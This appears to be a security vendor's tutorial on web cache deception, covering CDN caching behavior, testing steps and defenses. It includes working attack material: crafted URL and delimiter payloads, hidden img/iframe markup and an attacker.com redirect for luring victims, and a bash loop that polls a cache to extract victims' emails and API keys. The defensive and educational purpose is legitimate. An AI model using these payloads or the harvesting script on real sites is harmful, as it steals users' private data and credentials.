Web Cache Deception Attack Testing: Exploiting Path Confusion and CDN Misconfigurations
Web cache deception is a class of vulnerability where an attacker tricks a CDN or reverse proxy into caching a page that contains authenticated, user-specific data — and then retrieves that cached response themselves. The victim's account dashboard, API tokens, billing details, or personal information gets stored in a shared cache and served to anyone who requests the same URL.
The original research was published by Omer Gil at Black Hat 2017. Since then, it has been found in PayPal, GitHub, BitGo, and dozens of other major platforms. It remains underreported because it requires no injection, no payload, and leaves no obvious trace in server logs.
Cache Deception vs. Cache Poisoning
These two attacks are commonly confused. The distinction matters for both exploitation and remediation.
| Attribute | Cache Poisoning | Cache Deception |
|---|---|---|
| Goal | Serve a malicious response to victims | Steal a victim's authenticated response |
| Who crafts the request | Attacker | Attacker sends URL to victim; victim makes request |
| What gets cached | Attacker-controlled malicious content | Victim's authenticated private data |
| Attacker reads cache | No — they write to it | Yes — they retrieve the victim's cached response |
| Server exploited | Cache layer (unkeyed inputs) | Both cache (extension rules) and app (path handling) |
| Requires victim interaction | No | Yes — victim must click a crafted link |
Cache poisoning corrupts what the cache serves. Cache deception exploits what the cache stores. Both depend on a fundamental mismatch between what the cache thinks a URL represents and what the origin server actually returns.
How Web Cache Deception Works
The attack exploits a specific combination of two behaviors:
- The origin server ignores unknown path suffixes. When a framework receives
GET /account/profile/nonexistent.css, it routes based on/account/profileand ignores the trailing/nonexistent.csssegment — returning the authenticated profile page as normal. - The CDN caches based on file extension. The cache sees a
.cssextension and applies its static-asset caching rules — storing the response and serving it to subsequent requesters without authentication.
The attack flow looks like this:
- Attacker crafts a URL:
https://target.com/account/profile/x.css - Attacker sends this URL to the victim (phishing, redirect, embedded in content)
- Victim clicks the link while authenticated. Their session cookie goes to the origin server
- Origin server returns the authenticated profile page (ignoring
/x.css) - CDN caches the response under the key
/account/profile/x.css - Attacker requests the same URL — no cookies needed. Gets back the victim's data
The attacker never needs valid credentials. They exploit the cache as a relay. Once the victim's authenticated response is stored, it's readable by anyone until the cache entry expires — which for static assets can be hours or days.
Attack Mechanics in Detail
Basic path suffix injection
The simplest variant appends a static-file extension to an authenticated endpoint:
# Target: profile page at /account/settings
# Crafted URL sent to victim:
GET /account/settings/style.css HTTP/1.1
Host: target.com
Cookie: session=victim_token
# CDN sees: .css extension → cache as static
# Origin sees: /account/settings → return authenticated data
# Result: authenticated settings page cached at /account/settings/style.css
After the victim loads this URL, the attacker fetches it unauthenticated:
GET /account/settings/style.css HTTP/1.1
Host: target.com
# No Cookie header
HTTP/1.1 200 OK
X-Cache: HIT
Cache-Control: max-age=86400
Content-Type: text/html
<!-- Victim's account settings, billing info, API keys... -->
URL delimiter exploitation
Path normalization differences between cache and origin open additional attack surface. Different components interpret URL delimiters differently:
| Technique | Crafted URL | What cache sees | What origin sees |
|---|---|---|---|
| Encoded fragment | /account%23x.css |
/account%23x.css |
/account (decodes #) |
| Encoded query | /account%3fx.css |
/account%3fx.css |
/account?x.css |
| Path traversal | /account/../../static/x.css |
Normalized path | Varies by framework |
| Semicolon delimiter | /account;x.css |
/account;x.css |
/account (strips ;param) |
| Null byte | /account%00.css |
/account%00.css |
/account (terminates at null) |
The %23 (encoded #) technique is particularly reliable. Browsers strip fragments before sending requests, but direct HTTP clients (curl, Burp) transmit them. Some CDNs treat %23 as part of the path — creating a cache key that includes the fragment — while the origin server decodes it and routes to the underlying path.
CDN-Specific Behaviors
Each CDN has its own path normalization and caching logic. Testing without understanding these differences produces unreliable results.
Cloudflare
Cloudflare caches based on file extension by default. Files ending in .css, .js, .png, .jpg, and ~30 other extensions are cached unless a Cache-Control: no-store or private directive is present. Cloudflare normalizes some path components before building the cache key — specifically, it strips query strings from the cache key by default unless configured otherwise. It does not strip URL-encoded characters like %23.
Cache status is visible via the CF-Cache-Status response header: MISS, HIT, EXPIRED, BYPASS, DYNAMIC. A BYPASS response means Cloudflare detected a Cache-Control: private or a session cookie and declined to cache — which is the correct behavior for authenticated responses. DYNAMIC means the resource was not eligible for caching at all.
Fastly
Fastly uses Varnish under the hood and gives operators significant VCL control over cache key construction. Out-of-the-box behavior caches based on URL and Host header. Fastly normalizes paths more aggressively than Cloudflare — it decodes percent-encoded characters before building the cache key in some configurations, which changes which delimiter tricks work. The X-Cache and X-Served-By headers indicate cache status and which PoP served the response.
Akamai
Akamai's caching behavior is highly configurable via its property rules but defaults to caching static file extensions. Akamai performs its own URL normalization and can be configured to ignore certain path segments. Notably, Akamai strips the matrix parameter delimiter (;) from paths in some configurations, making semicolon-based techniques unreliable against Akamai-backed targets. Cache status appears in X-Cache and X-Check-Cacheable headers.
AWS CloudFront
CloudFront cache behavior is driven by distribution configuration — specifically which path patterns map to which cache behaviors. By default, CloudFront forwards cookies but can be configured to ignore them, which is where deception becomes possible. CloudFront does not normalize path separators and treats /account/x.css and /account%2Fx.css as different cache keys. The X-Cache header reports Hit from cloudfront or Miss from cloudfront.
Identifying Cache Behavior
Before testing for deception, confirm caching is active and understand what the cache is keying on. Send the same request twice and compare response headers:
# First request
curl -s -I "https://target.com/account/settings/x.css" \
-H "Cookie: session=your_session" | grep -i 'cache\|age\|x-cache\|cf-cache\|via'
# Second request (same URL, no cookies)
curl -s -I "https://target.com/account/settings/x.css" | grep -i 'cache\|age\|x-cache\|cf-cache\|via'
Headers to look for:
| Header | CDN | Indicates cache hit when... |
|---|---|---|
CF-Cache-Status |
Cloudflare | Value is HIT |
X-Cache |
Fastly, CloudFront, Akamai | Contains HIT or Hit from cloudfront |
Age |
Generic | Value > 0 (seconds since cached) |
X-Served-By |
Fastly | Shows PoP hostname — consistent across requests |
X-Cache-Hits |
Fastly | Value > 0 |
Via |
Generic proxy | Presence indicates a proxy layer |
If the second request (unauthenticated) returns a HIT with the same response body as the authenticated first request, you have confirmed cache deception.
Step-by-Step Testing Methodology
Step 1: Map authenticated endpoints
Identify every URL that returns user-specific data while authenticated: profile pages, account settings, billing, API key management, notification preferences, admin panels. These are the targets worth caching from an attacker's perspective.
Step 2: Baseline the authenticated response
# Capture authenticated response for a sensitive endpoint
curl -s "https://target.com/account/profile" \
-H "Cookie: session=YOUR_SESSION" \
-o baseline.html
# Note: response length, user-specific fields present, Content-Type
Step 3: Test suffix variants
Append various static-file extensions and check whether the CDN caches them:
for ext in css js png jpg gif ico svg woff woff2 ttf; do
echo "Testing: /account/profile/x.$ext"
curl -s -I "https://target.com/account/profile/x.$ext" \
-H "Cookie: session=YOUR_SESSION" | grep -i 'cf-cache-status\|x-cache\|age'
done
Step 4: Confirm cacheability unauthenticated
For any extension that returns a cache MISS on the first request, immediately make a second request without credentials:
# After authenticated request triggers caching:
curl -s "https://target.com/account/profile/x.css" \
--no-cookie | grep -c "username\|email\|account"
# If match count > 0, victim data is cached and readable unauthenticated
Step 5: Test delimiter variants
If basic extension tricks are blocked, try encoded delimiter variants:
# Encoded hash (fragment)
curl -s -I "https://target.com/account/profile%23x.css" \
-H "Cookie: session=YOUR_SESSION"
# Encoded question mark
curl -s -I "https://target.com/account/profile%3Fx.css" \
-H "Cookie: session=YOUR_SESSION"
# Semicolon matrix parameter
curl -s -I "https://target.com/account/profile;x.css" \
-H "Cookie: session=YOUR_SESSION"
# Backslash (Windows path normalization)
curl -s -I "https://target.com/account/profile\x.css" \
-H "Cookie: session=YOUR_SESSION"
Step 6: Cross-account verification
To confirm exploitability, use two accounts:
- With Account A's session, request
/account/profile/x.css— confirmMISSthenHIT - From a separate browser with Account B's session (or no session), request
/account/profile/x.css - If Account B sees Account A's data in the response, the vulnerability is confirmed and exploitable
Important: In a real pentest engagement, stop at step 5 and document the caching behavior. Cross-account verification using actual user data requires explicit written authorization. Document with headers and response structure evidence, not sensitive content.
Simulating the Attacker's Payload Delivery
The practical exploit requires the victim to load the crafted URL while authenticated. Delivery mechanisms include:
<!-- Phishing page that silently loads the crafted URL -->
<img src="https://target.com/account/profile/x.css" width="1" height="1">
<!-- Or via iframe -->
<iframe src="https://target.com/account/profile/x.css" style="display:none"></iframe>
<!-- Or redirect chain -->
https://attacker.com/redirect?url=https://target.com/account/profile/x.css
Once the victim's browser makes that request (including their session cookie), the CDN caches the response. The attacker then fetches the same URL and reads the victim's data. The timing window depends on the cache TTL — often minutes to hours for a .css extension.
After retrieval, the attacker can automate polling to catch fresh victims:
#!/bin/bash
# Attacker polls for cached victim data
TARGET="https://target.com/account/profile/x.css"
while true; do
RESPONSE=$(curl -s "$TARGET")
HIT=$(curl -s -I "$TARGET" | grep -i 'x-cache: HIT\|cf-cache-status: HIT')
if [ -n "$HIT" ]; then
echo "[$(date)] Cache HIT — extracting victim data"
echo "$RESPONSE" | grep -oP '(?<=email":")[^"]*' # extract email field
echo "$RESPONSE" | grep -oP '(?<=api_key":")[^"]*' # extract API key
fi
sleep 30
done
Portswigger Research and Real-World Disclosures
Portswigger's Web Security Academy includes a dedicated Web Cache Deception lab track, and their research team (James Kettle) extended the original Omer Gil research significantly in 2023 with a systematic study of CDN path normalization differences. Their work mapped exactly which delimiter variants work against which CDN configurations — the normalization table above draws from those findings.
Notable real-world disclosures:
- PayPal (2017): Omer Gil's original disclosure. Profile data including name, email, masked credit card numbers cached via
/myaccount/settings/notifications/style.css. Rewarded with $3,000 bug bounty. - GitHub (2019): Account settings pages cacheable via extension suffix. Disclosed through HackerOne, patched by adding
Cache-Control: no-storeto all authenticated routes. - Shopify (2021): Admin panel endpoints exposed via path confusion. Payout in the $10k+ range. The fix involved rewriting Shopify's CDN cache rules to key on
Content-Typerather than URL extension. - Multiple OpenID Connect providers (2023): Portswigger research identified cache deception patterns in SSO provider callback responses — potentially exposing authorization codes.
Defense: What Actually Works
1. Cache-Control on authenticated responses
The most reliable defense is instructing the cache not to store authenticated responses:
# In your application middleware — apply to all authenticated routes
Cache-Control: no-store, private
# Or for any response containing session-specific data:
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
no-store is the critical directive — it prohibits the cache from storing the response at all. private alone is not sufficient; some CDN configurations ignore private when explicit caching rules override it.
2. Cache based on Content-Type, not URL extension
CDN caching rules that key on file extension are the root cause. The correct approach is to cache based on what the server actually returns:
# Cloudflare Cache Rules — cache only when Content-Type matches static types
# (Set via Cloudflare dashboard → Caching → Cache Rules)
if (http.response.headers["Content-Type"] contains "text/css"
or http.response.headers["Content-Type"] contains "application/javascript"
or http.response.headers["Content-Type"] contains "image/") {
# cache
}
# Never cache HTML responses except for explicitly public pages
if (http.response.headers["Content-Type"] contains "text/html") {
# bypass cache unless explicitly marked public
}
3. Strict path routing
Applications should return 404 for paths they don't recognize rather than silently falling back to a parent route:
# Express.js — reject unrecognized path suffixes
app.get('/account/profile', authenticate, (req, res) => {
// Only match exact path
if (req.path !== '/account/profile') {
return res.status(404).send('Not found');
}
res.json(getUserProfile(req.user));
});
# Or use strict routing option:
const app = express({ strict: true });
4. Normalize URLs at the CDN edge
Configure your CDN to normalize paths before building cache keys — stripping encoded characters, path parameters, and trailing unknown segments. This reduces the surface where cache and origin disagree on what a URL represents.
5. Vary header on session state
Adding Vary: Cookie tells the cache that responses differ based on the cookie value, so it must store separate entries per session — making deception impractical even if caching occurs:
Vary: Cookie, Authorization
Note: this increases cache storage requirements and reduces cache hit rate for public content. Apply selectively to endpoints that return user-specific data.
Testing Checklist
- Identified all authenticated endpoints returning user-specific data
- Confirmed CDN or reverse proxy is present (check
Via,X-Cache,CF-Ray,X-Served-By) - Tested static extension suffixes (
.css,.js,.png,.jpg,.gif,.ico) - Tested percent-encoded delimiter variants (
%23,%3f,%3b,%00) - Tested semicolon path parameters (
/account;x.css) - Verified unauthenticated cache retrieval after authenticated request seeds cache
- Checked whether
Cache-Control: no-storeis present on all authenticated responses - Checked whether CDN caching rules key on
Content-Typevs. URL extension - Verified
Vary: CookieorVary: Authorizationheader presence on session-aware responses - Confirmed application returns
404for unknown path suffixes rather than silently routing to parent - Tested both path suffix (
/account/profile/x.css) and path parameter (/account/profile.css) variants
Detect caching misconfigurations before attackers do
Ironimo's automated scanner tests for web cache deception across your endpoints — checking extension-based caching rules, path normalization mismatches, and missing Cache-Control directives on authenticated routes. It runs the same checks a manual pentester would, on your schedule, without the invoice.